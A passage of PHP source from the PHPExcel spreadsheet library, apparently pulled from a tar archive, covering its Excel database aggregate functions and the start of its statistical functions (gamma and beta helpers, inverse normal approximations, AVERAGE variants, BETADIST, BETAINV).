@return float * */ public static function DPRODUCT($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // Return return PHPExcel_Calculation_MathTrig::PRODUCT( self::getFilteredColumn($database, $field, $criteria) ); } /** * DSTDEV * * Estimates the standard deviation of a population based on a sample by using the numbers in a * column of a list or database that match conditions that you specify. * * Excel Function: * DSTDEV(database,field,criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return float * */ public static function DSTDEV($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // Return return PHPExcel_Calculation_Statistical::STDEV( self::getFilteredColumn($database, $field, $criteria) ); } /** * DSTDEVP * * Calculates the standard deviation of a population based on the entire population by using the * numbers in a column of a list or database that match conditions that you specify. * * Excel Function: * DSTDEVP(database,field,criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return float * */ public static function DSTDEVP($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // Return return PHPExcel_Calculation_Statistical::STDEVP( self::getFilteredColumn($database, $field, $criteria) ); } /** * DSUM * * Adds the numbers in a column of a list or database that match conditions that you specify. * * Excel Function: * DSUM(database,field,criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return float * */ public static function DSUM($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // Return return PHPExcel_Calculation_MathTrig::SUM( self::getFilteredColumn($database, $field, $criteria) ); } /** * DVAR * * Estimates the variance of a population based on a sample by using the numbers in a column * of a list or database that match conditions that you specify. * * Excel Function: * DVAR(database,field,criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return float * */ public static function DVAR($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // Return return PHPExcel_Calculation_Statistical::VARFunc( self::getFilteredColumn($database, $field, $criteria) ); } /** * DVARP * * Calculates the variance of a population based on the entire population by using the numbers * in a column of a list or database that match conditions that you specify. * * Excel Function: * DVARP(database,field,criteria) * * @access public * @category Database Functions * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param string|integer $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. * @return float * */ public static function DVARP($database, $field, $criteria) { $field = self::fieldExtract($database, $field); if (is_null($field)) { return null; } // Return return PHPExcel_Calculation_Statistical::VARP( self::getFilteredColumn($database, $field, $criteria) ); } } PHPExcel/Calculation/Statistical.php 0000644 00000402652 14642534107 0013426 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } require_once PHPEXCEL_ROOT . 'PHPExcel/Shared/trend/trendClass.php'; /** LOG_GAMMA_X_MAX_VALUE */ define('LOG_GAMMA_X_MAX_VALUE', 2.55e305); /** XMININ */ define('XMININ', 2.23e-308); /** EPS */ define('EPS', 2.22e-16); /** SQRT2PI */ define('SQRT2PI', 2.5066282746310005024157652848110452530069867406099); /** * PHPExcel_Calculation_Statistical * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_Statistical { private static function checkTrendArrays(&$array1, &$array2) { if (!is_array($array1)) { $array1 = array($array1); } if (!is_array($array2)) { $array2 = array($array2); } $array1 = PHPExcel_Calculation_Functions::flattenArray($array1); $array2 = PHPExcel_Calculation_Functions::flattenArray($array2); foreach ($array1 as $key => $value) { if ((is_bool($value)) || (is_string($value)) || (is_null($value))) { unset($array1[$key]); unset($array2[$key]); } } foreach ($array2 as $key => $value) { if ((is_bool($value)) || (is_string($value)) || (is_null($value))) { unset($array1[$key]); unset($array2[$key]); } } $array1 = array_merge($array1); $array2 = array_merge($array2); return true; } /** * Beta function. * * @author Jaco van Kooten * * @param p require p>0 * @param q require q>0 * @return 0 if p<=0, q<=0 or p+q>2.55E305 to avoid errors and over/underflow */ private static function beta($p, $q) { if ($p <= 0.0 || $q <= 0.0 || ($p + $q) > LOG_GAMMA_X_MAX_VALUE) { return 0.0; } else { return exp(self::logBeta($p, $q)); } } /** * Incomplete beta function * * @author Jaco van Kooten * @author Paul Meagher * * The computation is based on formulas from Numerical Recipes, Chapter 6.4 (W.H. Press et al, 1992). * @param x require 0<=x<=1 * @param p require p>0 * @param q require q>0 * @return 0 if x<0, p<=0, q<=0 or p+q>2.55E305 and 1 if x>1 to avoid errors and over/underflow */ private static function incompleteBeta($x, $p, $q) { if ($x <= 0.0) { return 0.0; } elseif ($x >= 1.0) { return 1.0; } elseif (($p <= 0.0) || ($q <= 0.0) || (($p + $q) > LOG_GAMMA_X_MAX_VALUE)) { return 0.0; } $beta_gam = exp((0 - self::logBeta($p, $q)) + $p * log($x) + $q * log(1.0 - $x)); if ($x < ($p + 1.0) / ($p + $q + 2.0)) { return $beta_gam * self::betaFraction($x, $p, $q) / $p; } else { return 1.0 - ($beta_gam * self::betaFraction(1 - $x, $q, $p) / $q); } } // Function cache for logBeta function private static $logBetaCacheP = 0.0; private static $logBetaCacheQ = 0.0; private static $logBetaCacheResult = 0.0; /** * The natural logarithm of the beta function. * * @param p require p>0 * @param q require q>0 * @return 0 if p<=0, q<=0 or p+q>2.55E305 to avoid errors and over/underflow * @author Jaco van Kooten */ private static function logBeta($p, $q) { if ($p != self::$logBetaCacheP || $q != self::$logBetaCacheQ) { self::$logBetaCacheP = $p; self::$logBetaCacheQ = $q; if (($p <= 0.0) || ($q <= 0.0) || (($p + $q) > LOG_GAMMA_X_MAX_VALUE)) { self::$logBetaCacheResult = 0.0; } else { self::$logBetaCacheResult = self::logGamma($p) + self::logGamma($q) - self::logGamma($p + $q); } } return self::$logBetaCacheResult; } /** * Evaluates of continued fraction part of incomplete beta function. * Based on an idea from Numerical Recipes (W.H. Press et al, 1992). * @author Jaco van Kooten */ private static function betaFraction($x, $p, $q) { $c = 1.0; $sum_pq = $p + $q; $p_plus = $p + 1.0; $p_minus = $p - 1.0; $h = 1.0 - $sum_pq * $x / $p_plus; if (abs($h) < XMININ) { $h = XMININ; } $h = 1.0 / $h; $frac = $h; $m = 1; $delta = 0.0; while ($m <= MAX_ITERATIONS && abs($delta-1.0) > PRECISION) { $m2 = 2 * $m; // even index for d $d = $m * ($q - $m) * $x / ( ($p_minus + $m2) * ($p + $m2)); $h = 1.0 + $d * $h; if (abs($h) < XMININ) { $h = XMININ; } $h = 1.0 / $h; $c = 1.0 + $d / $c; if (abs($c) < XMININ) { $c = XMININ; } $frac *= $h * $c; // odd index for d $d = -($p + $m) * ($sum_pq + $m) * $x / (($p + $m2) * ($p_plus + $m2)); $h = 1.0 + $d * $h; if (abs($h) < XMININ) { $h = XMININ; } $h = 1.0 / $h; $c = 1.0 + $d / $c; if (abs($c) < XMININ) { $c = XMININ; } $delta = $h * $c; $frac *= $delta; ++$m; } return $frac; } /** * logGamma function * * @version 1.1 * @author Jaco van Kooten * * Original author was Jaco van Kooten. Ported to PHP by Paul Meagher. * * The natural logarithm of the gamma function. <br /> * Based on public domain NETLIB (Fortran) code by W. J. Cody and L. Stoltz <br /> * Applied Mathematics Division <br /> * Argonne National Laboratory <br /> * Argonne, IL 60439 <br /> * <p> * References: * <ol> * <li>W. J. Cody and K. E. Hillstrom, 'Chebyshev Approximations for the Natural * Logarithm of the Gamma Function,' Math. Comp. 21, 1967, pp. 198-203.</li> * <li>K. E. Hillstrom, ANL/AMD Program ANLC366S, DGAMMA/DLGAMA, May, 1969.</li> * <li>Hart, Et. Al., Computer Approximations, Wiley and sons, New York, 1968.</li> * </ol> * </p> * <p> * From the original documentation: * </p> * <p> * This routine calculates the LOG(GAMMA) function for a positive real argument X. * Computation is based on an algorithm outlined in references 1 and 2. * The program uses rational functions that theoretically approximate LOG(GAMMA) * to at least 18 significant decimal digits. The approximation for X > 12 is from * reference 3, while approximations for X < 12.0 are similar to those in reference * 1, but are unpublished. The accuracy achieved depends on the arithmetic system, * the compiler, the intrinsic functions, and proper selection of the * machine-dependent constants. * </p> * <p> * Error returns: <br /> * The program returns the value XINF for X .LE. 0.0 or when overflow would occur. * The computation is believed to be free of underflow and overflow. * </p> * @return MAX_VALUE for x < 0.0 or when overflow would occur, i.e. x > 2.55E305 */ // Function cache for logGamma private static $logGammaCacheResult = 0.0; private static $logGammaCacheX = 0.0; private static function logGamma($x) { // Log Gamma related constants static $lg_d1 = -0.5772156649015328605195174; static $lg_d2 = 0.4227843350984671393993777; static $lg_d4 = 1.791759469228055000094023; static $lg_p1 = array( 4.945235359296727046734888, 201.8112620856775083915565, 2290.838373831346393026739, 11319.67205903380828685045, 28557.24635671635335736389, 38484.96228443793359990269, 26377.48787624195437963534, 7225.813979700288197698961 ); static $lg_p2 = array( 4.974607845568932035012064, 542.4138599891070494101986, 15506.93864978364947665077, 184793.2904445632425417223, 1088204.76946882876749847, 3338152.967987029735917223, 5106661.678927352456275255, 3074109.054850539556250927 ); static $lg_p4 = array( 14745.02166059939948905062, 2426813.369486704502836312, 121475557.4045093227939592, 2663432449.630976949898078, 29403789566.34553899906876, 170266573776.5398868392998, 492612579337.743088758812, 560625185622.3951465078242 ); static $lg_q1 = array( 67.48212550303777196073036, 1113.332393857199323513008, 7738.757056935398733233834, 27639.87074403340708898585, 54993.10206226157329794414, 61611.22180066002127833352, 36351.27591501940507276287, 8785.536302431013170870835 ); static $lg_q2 = array( 183.0328399370592604055942, 7765.049321445005871323047, 133190.3827966074194402448, 1136705.821321969608938755, 5267964.117437946917577538, 13467014.54311101692290052, 17827365.30353274213975932, 9533095.591844353613395747 ); static $lg_q4 = array( 2690.530175870899333379843, 639388.5654300092398984238, 41355999.30241388052042842, 1120872109.61614794137657, 14886137286.78813811542398, 101680358627.2438228077304, 341747634550.7377132798597, 446315818741.9713286462081 ); static $lg_c = array( -0.001910444077728, 8.4171387781295e-4, -5.952379913043012e-4, 7.93650793500350248e-4, -0.002777777777777681622553, 0.08333333333333333331554247, 0.0057083835261 ); // Rough estimate of the fourth root of logGamma_xBig static $lg_frtbig = 2.25e76; static $pnt68 = 0.6796875; if ($x == self::$logGammaCacheX) { return self::$logGammaCacheResult; } $y = $x; if ($y > 0.0 && $y <= LOG_GAMMA_X_MAX_VALUE) { if ($y <= EPS) { $res = -log(y); } elseif ($y <= 1.5) { // --------------------- // EPS .LT. X .LE. 1.5 // --------------------- if ($y < $pnt68) { $corr = -log($y); $xm1 = $y; } else { $corr = 0.0; $xm1 = $y - 1.0; } if ($y <= 0.5 || $y >= $pnt68) { $xden = 1.0; $xnum = 0.0; for ($i = 0; $i < 8; ++$i) { $xnum = $xnum * $xm1 + $lg_p1[$i]; $xden = $xden * $xm1 + $lg_q1[$i]; } $res = $corr + $xm1 * ($lg_d1 + $xm1 * ($xnum / $xden)); } else { $xm2 = $y - 1.0; $xden = 1.0; $xnum = 0.0; for ($i = 0; $i < 8; ++$i) { $xnum = $xnum * $xm2 + $lg_p2[$i]; $xden = $xden * $xm2 + $lg_q2[$i]; } $res = $corr + $xm2 * ($lg_d2 + $xm2 * ($xnum / $xden)); } } elseif ($y <= 4.0) { // --------------------- // 1.5 .LT. X .LE. 4.0 // --------------------- $xm2 = $y - 2.0; $xden = 1.0; $xnum = 0.0; for ($i = 0; $i < 8; ++$i) { $xnum = $xnum * $xm2 + $lg_p2[$i]; $xden = $xden * $xm2 + $lg_q2[$i]; } $res = $xm2 * ($lg_d2 + $xm2 * ($xnum / $xden)); } elseif ($y <= 12.0) { // ---------------------- // 4.0 .LT. X .LE. 12.0 // ---------------------- $xm4 = $y - 4.0; $xden = -1.0; $xnum = 0.0; for ($i = 0; $i < 8; ++$i) { $xnum = $xnum * $xm4 + $lg_p4[$i]; $xden = $xden * $xm4 + $lg_q4[$i]; } $res = $lg_d4 + $xm4 * ($xnum / $xden); } else { // --------------------------------- // Evaluate for argument .GE. 12.0 // --------------------------------- $res = 0.0; if ($y <= $lg_frtbig) { $res = $lg_c[6]; $ysq = $y * $y; for ($i = 0; $i < 6; ++$i) { $res = $res / $ysq + $lg_c[$i]; } $res /= $y; $corr = log($y); $res = $res + log(SQRT2PI) - 0.5 * $corr; $res += $y * ($corr - 1.0); } } } else { // -------------------------- // Return for bad arguments // -------------------------- $res = MAX_VALUE; } // ------------------------------ // Final adjustments and return // ------------------------------ self::$logGammaCacheX = $x; self::$logGammaCacheResult = $res; return $res; } // // Private implementation of the incomplete Gamma function // private static function incompleteGamma($a, $x) { static $max = 32; $summer = 0; for ($n=0; $n<=$max; ++$n) { $divisor = $a; for ($i=1; $i<=$n; ++$i) { $divisor *= ($a + $i); } $summer += (pow($x, $n) / $divisor); } return pow($x, $a) * exp(0-$x) * $summer; } // // Private implementation of the Gamma function // private static function gamma($data) { if ($data == 0.0) { return 0; } static $p0 = 1.000000000190015; static $p = array( 1 => 76.18009172947146, 2 => -86.50532032941677, 3 => 24.01409824083091, 4 => -1.231739572450155, 5 => 1.208650973866179e-3, 6 => -5.395239384953e-6 ); $y = $x = $data; $tmp = $x + 5.5; $tmp -= ($x + 0.5) * log($tmp); $summer = $p0; for ($j=1; $j<=6; ++$j) { $summer += ($p[$j] / ++$y); } return exp(0 - $tmp + log(SQRT2PI * $summer / $x)); } /*************************************************************************** * inverse_ncdf.php * ------------------- * begin : Friday, January 16, 2004 * copyright : (C) 2004 Michael Nickerson * email : nickersonm@yahoo.com * ***************************************************************************/ private static function inverseNcdf($p) { // Inverse ncdf approximation by Peter J. Acklam, implementation adapted to // PHP by Michael Nickerson, using Dr. Thomas Ziegler's C implementation as // a guide. http://home.online.no/~pjacklam/notes/invnorm/index.html // I have not checked the accuracy of this implementation. Be aware that PHP // will truncate the coeficcients to 14 digits. // You have permission to use and distribute this function freely for // whatever purpose you want, but please show common courtesy and give credit // where credit is due. // Input paramater is $p - probability - where 0 < p < 1. // Coefficients in rational approximations static $a = array( 1 => -3.969683028665376e+01, 2 => 2.209460984245205e+02, 3 => -2.759285104469687e+02, 4 => 1.383577518672690e+02, 5 => -3.066479806614716e+01, 6 => 2.506628277459239e+00 ); static $b = array( 1 => -5.447609879822406e+01, 2 => 1.615858368580409e+02, 3 => -1.556989798598866e+02, 4 => 6.680131188771972e+01, 5 => -1.328068155288572e+01 ); static $c = array( 1 => -7.784894002430293e-03, 2 => -3.223964580411365e-01, 3 => -2.400758277161838e+00, 4 => -2.549732539343734e+00, 5 => 4.374664141464968e+00, 6 => 2.938163982698783e+00 ); static $d = array( 1 => 7.784695709041462e-03, 2 => 3.224671290700398e-01, 3 => 2.445134137142996e+00, 4 => 3.754408661907416e+00 ); // Define lower and upper region break-points. $p_low = 0.02425; //Use lower region approx. below this $p_high = 1 - $p_low; //Use upper region approx. above this if (0 < $p && $p < $p_low) { // Rational approximation for lower region. $q = sqrt(-2 * log($p)); return ((((($c[1] * $q + $c[2]) * $q + $c[3]) * $q + $c[4]) * $q + $c[5]) * $q + $c[6]) / (((($d[1] * $q + $d[2]) * $q + $d[3]) * $q + $d[4]) * $q + 1); } elseif ($p_low <= $p && $p <= $p_high) { // Rational approximation for central region. $q = $p - 0.5; $r = $q * $q; return ((((($a[1] * $r + $a[2]) * $r + $a[3]) * $r + $a[4]) * $r + $a[5]) * $r + $a[6]) * $q / ((((($b[1] * $r + $b[2]) * $r + $b[3]) * $r + $b[4]) * $r + $b[5]) * $r + 1); } elseif ($p_high < $p && $p < 1) { // Rational approximation for upper region. $q = sqrt(-2 * log(1 - $p)); return -((((($c[1] * $q + $c[2]) * $q + $c[3]) * $q + $c[4]) * $q + $c[5]) * $q + $c[6]) / (((($d[1] * $q + $d[2]) * $q + $d[3]) * $q + $d[4]) * $q + 1); } // If 0 < p < 1, return a null value return PHPExcel_Calculation_Functions::NULL(); } private static function inverseNcdf2($prob) { // Approximation of inverse standard normal CDF developed by // B. Moro, "The Full Monte," Risk 8(2), Feb 1995, 57-58. $a1 = 2.50662823884; $a2 = -18.61500062529; $a3 = 41.39119773534; $a4 = -25.44106049637; $b1 = -8.4735109309; $b2 = 23.08336743743; $b3 = -21.06224101826; $b4 = 3.13082909833; $c1 = 0.337475482272615; $c2 = 0.976169019091719; $c3 = 0.160797971491821; $c4 = 2.76438810333863E-02; $c5 = 3.8405729373609E-03; $c6 = 3.951896511919E-04; $c7 = 3.21767881768E-05; $c8 = 2.888167364E-07; $c9 = 3.960315187E-07; $y = $prob - 0.5; if (abs($y) < 0.42) { $z = ($y * $y); $z = $y * ((($a4 * $z + $a3) * $z + $a2) * $z + $a1) / (((($b4 * $z + $b3) * $z + $b2) * $z + $b1) * $z + 1); } else { if ($y > 0) { $z = log(-log(1 - $prob)); } else { $z = log(-log($prob)); } $z = $c1 + $z * ($c2 + $z * ($c3 + $z * ($c4 + $z * ($c5 + $z * ($c6 + $z * ($c7 + $z * ($c8 + $z * $c9))))))); if ($y < 0) { $z = -$z; } } return $z; } // function inverseNcdf2() private static function inverseNcdf3($p) { // ALGORITHM AS241 APPL. STATIST. (1988) VOL. 37, NO. 3. // Produces the normal deviate Z corresponding to a given lower // tail area of P; Z is accurate to about 1 part in 10**16. // // This is a PHP version of the original FORTRAN code that can // be found at http://lib.stat.cmu.edu/apstat/ $split1 = 0.425; $split2 = 5; $const1 = 0.180625; $const2 = 1.6; // coefficients for p close to 0.5 $a0 = 3.3871328727963666080; $a1 = 1.3314166789178437745E+2; $a2 = 1.9715909503065514427E+3; $a3 = 1.3731693765509461125E+4; $a4 = 4.5921953931549871457E+4; $a5 = 6.7265770927008700853E+4; $a6 = 3.3430575583588128105E+4; $a7 = 2.5090809287301226727E+3; $b1 = 4.2313330701600911252E+1; $b2 = 6.8718700749205790830E+2; $b3 = 5.3941960214247511077E+3; $b4 = 2.1213794301586595867E+4; $b5 = 3.9307895800092710610E+4; $b6 = 2.8729085735721942674E+4; $b7 = 5.2264952788528545610E+3; // coefficients for p not close to 0, 0.5 or 1. $c0 = 1.42343711074968357734; $c1 = 4.63033784615654529590; $c2 = 5.76949722146069140550; $c3 = 3.64784832476320460504; $c4 = 1.27045825245236838258; $c5 = 2.41780725177450611770E-1; $c6 = 2.27238449892691845833E-2; $c7 = 7.74545014278341407640E-4; $d1 = 2.05319162663775882187; $d2 = 1.67638483018380384940; $d3 = 6.89767334985100004550E-1; $d4 = 1.48103976427480074590E-1; $d5 = 1.51986665636164571966E-2; $d6 = 5.47593808499534494600E-4; $d7 = 1.05075007164441684324E-9; // coefficients for p near 0 or 1. $e0 = 6.65790464350110377720; $e1 = 5.46378491116411436990; $e2 = 1.78482653991729133580; $e3 = 2.96560571828504891230E-1; $e4 = 2.65321895265761230930E-2; $e5 = 1.24266094738807843860E-3; $e6 = 2.71155556874348757815E-5; $e7 = 2.01033439929228813265E-7; $f1 = 5.99832206555887937690E-1; $f2 = 1.36929880922735805310E-1; $f3 = 1.48753612908506148525E-2; $f4 = 7.86869131145613259100E-4; $f5 = 1.84631831751005468180E-5; $f6 = 1.42151175831644588870E-7; $f7 = 2.04426310338993978564E-15; $q = $p - 0.5; // computation for p close to 0.5 if (abs($q) <= split1) { $R = $const1 - $q * $q; $z = $q * ((((((($a7 * $R + $a6) * $R + $a5) * $R + $a4) * $R + $a3) * $R + $a2) * $R + $a1) * $R + $a0) / ((((((($b7 * $R + $b6) * $R + $b5) * $R + $b4) * $R + $b3) * $R + $b2) * $R + $b1) * $R + 1); } else { if ($q < 0) { $R = $p; } else { $R = 1 - $p; } $R = pow(-log($R), 2); // computation for p not close to 0, 0.5 or 1. if ($R <= $split2) { $R = $R - $const2; $z = ((((((($c7 * $R + $c6) * $R + $c5) * $R + $c4) * $R + $c3) * $R + $c2) * $R + $c1) * $R + $c0) / ((((((($d7 * $R + $d6) * $R + $d5) * $R + $d4) * $R + $d3) * $R + $d2) * $R + $d1) * $R + 1); } else { // computation for p near 0 or 1. $R = $R - $split2; $z = ((((((($e7 * $R + $e6) * $R + $e5) * $R + $e4) * $R + $e3) * $R + $e2) * $R + $e1) * $R + $e0) / ((((((($f7 * $R + $f6) * $R + $f5) * $R + $f4) * $R + $f3) * $R + $f2) * $R + $f1) * $R + 1); } if ($q < 0) { $z = -$z; } } return $z; } /** * AVEDEV * * Returns the average of the absolute deviations of data points from their mean. * AVEDEV is a measure of the variability in a data set. * * Excel Function: * AVEDEV(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function AVEDEV() { $aArgs = PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()); // Return value $returnValue = null; $aMean = self::AVERAGE($aArgs); if ($aMean != PHPExcel_Calculation_Functions::DIV0()) { $aCount = 0; foreach ($aArgs as $k => $arg) { if ((is_bool($arg)) && ((!PHPExcel_Calculation_Functions::isCellValue($k)) || (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE))) { $arg = (integer) $arg; } // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if (is_null($returnValue)) { $returnValue = abs($arg - $aMean); } else { $returnValue += abs($arg - $aMean); } ++$aCount; } } // Return if ($aCount == 0) { return PHPExcel_Calculation_Functions::DIV0(); } return $returnValue / $aCount; } return PHPExcel_Calculation_Functions::NaN(); } /** * AVERAGE * * Returns the average (arithmetic mean) of the arguments * * Excel Function: * AVERAGE(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function AVERAGE() { $returnValue = $aCount = 0; // Loop through arguments foreach (PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()) as $k => $arg) { if ((is_bool($arg)) && ((!PHPExcel_Calculation_Functions::isCellValue($k)) || (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE))) { $arg = (integer) $arg; } // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if (is_null($returnValue)) { $returnValue = $arg; } else { $returnValue += $arg; } ++$aCount; } } // Return if ($aCount > 0) { return $returnValue / $aCount; } else { return PHPExcel_Calculation_Functions::DIV0(); } } /** * AVERAGEA * * Returns the average of its arguments, including numbers, text, and logical values * * Excel Function: * AVERAGEA(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function AVERAGEA() { $returnValue = null; $aCount = 0; // Loop through arguments foreach (PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()) as $k => $arg) { if ((is_bool($arg)) && (!PHPExcel_Calculation_Functions::isMatrixValue($k))) { } else { if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) && ($arg != '')))) { if (is_bool($arg)) { $arg = (integer) $arg; } elseif (is_string($arg)) { $arg = 0; } if (is_null($returnValue)) { $returnValue = $arg; } else { $returnValue += $arg; } ++$aCount; } } } if ($aCount > 0) { return $returnValue / $aCount; } else { return PHPExcel_Calculation_Functions::DIV0(); } } /** * AVERAGEIF * * Returns the average value from a range of cells that contain numbers within the list of arguments * * Excel Function: * AVERAGEIF(value1[,value2[, ...]],condition) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @param string $condition The criteria that defines which cells will be checked. * @param mixed[] $averageArgs Data values * @return float */ public static function AVERAGEIF($aArgs, $condition, $averageArgs = array()) { $returnValue = 0; $aArgs = PHPExcel_Calculation_Functions::flattenArray($aArgs); $averageArgs = PHPExcel_Calculation_Functions::flattenArray($averageArgs); if (empty($averageArgs)) { $averageArgs = $aArgs; } $condition = PHPExcel_Calculation_Functions::ifCondition($condition); // Loop through arguments $aCount = 0; foreach ($aArgs as $key => $arg) { if (!is_numeric($arg)) { $arg = PHPExcel_Calculation::wrapResult(strtoupper($arg)); } $testCondition = '='.$arg.$condition; if (PHPExcel_Calculation::getInstance()->_calculateFormulaValue($testCondition)) { if ((is_null($returnValue)) || ($arg > $returnValue)) { $returnValue += $arg; ++$aCount; } } } if ($aCount > 0) { return $returnValue / $aCount; } return PHPExcel_Calculation_Functions::DIV0(); } /** * BETADIST * * Returns the beta distribution. * * @param float $value Value at which you want to evaluate the distribution * @param float $alpha Parameter to the distribution * @param float $beta Parameter to the distribution * @param boolean $cumulative * @return float * */ public static function BETADIST($value, $alpha, $beta, $rMin = 0, $rMax = 1) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $alpha = PHPExcel_Calculation_Functions::flattenSingleValue($alpha); $beta = PHPExcel_Calculation_Functions::flattenSingleValue($beta); $rMin = PHPExcel_Calculation_Functions::flattenSingleValue($rMin); $rMax = PHPExcel_Calculation_Functions::flattenSingleValue($rMax); if ((is_numeric($value)) && (is_numeric($alpha)) && (is_numeric($beta)) && (is_numeric($rMin)) && (is_numeric($rMax))) { if (($value < $rMin) || ($value > $rMax) || ($alpha <= 0) || ($beta <= 0) || ($rMin == $rMax)) { return PHPExcel_Calculation_Functions::NaN(); } if ($rMin > $rMax) { $tmp = $rMin; $rMin = $rMax; $rMax = $tmp; } $value -= $rMin; $value /= ($rMax - $rMin); return self::incompleteBeta($value, $alpha, $beta); } return PHPExcel_Calculation_Functions::VALUE(); } /** * BETAINV * * Returns the inverse of the beta distribution. * * @param float $probability Probability at which you want to evaluate the distribution * @param float $alpha Parameter to the distribution * @param float $beta Parameter to the distribution * @param float $rMin Minimum value * @param float $rMax Maximum value * @param boolean $cumulative * @return float * */ public static function BETAINV($probability, $alpha, $beta, $rMin = 0, $rMax = 1) { $probability = PHPExcel_Calculation_Functions::flattenSingleValue($probability); $alpha = PHPExcel_Calculation_Functions::flattenSingleValue($alpha); $beta = PHPExcel_Calculation_Functions::flattenSingleValue($beta); $rMin = PHPExcel_Calculation_Functions::flattenSingleValue($rMin); $rMax = PHPExcel_Calculation_Functions::flattenSingleValue($rMax); if ((is_numeric($probability)) && (is_numeric($alpha)) && (is_numeric($beta)) && (is_numeric($rMin)) && (is_numeric($rMax))) { if (($alpha <= 0) || ($beta <= 0) || ($rMin == $rMax) || ($probability <= 0) || ($probability > 1)) { return PHPExcel_Calculation_Functions::NaN(); } if ($rMin > $rMax) { $tmp = $rMin; $rMin = $rMax; $rMax = $tmp; } $a = 0; $b = 2; $i = 0; while ((($b - $a) > PRECISION) && ($i++ < MAX_ITERATIONS)) { $guess = ($a + $b) / 2; $result = self::BETADIST($guess, $alpha, $beta); if (($result == $probability) || ($result == 0)) { $b = $a; } elseif ($result > $probability) { $b = $guess; } else { $a = $guess; } } if ($i == MAX_ITERATIONS) { return PHPExcel_Calculation_Functions::NA(); } return round($rMin + $guess * ($rMax - $rMin), 12); } return PHPExcel_Calculation_Functions::VALUE(); } /** * BINOMDIST * * Returns the individual term binomial distribution probability. Use BINOMDIST in problems with * a fixed number of tests or trials, when the outcomes of any trial are only success or failure, * when trials are independent, and when the probability of success is constant throughout the * experiment. For example, BINOMDIST can calculate the probability that two of the next three * babies born are male. * * 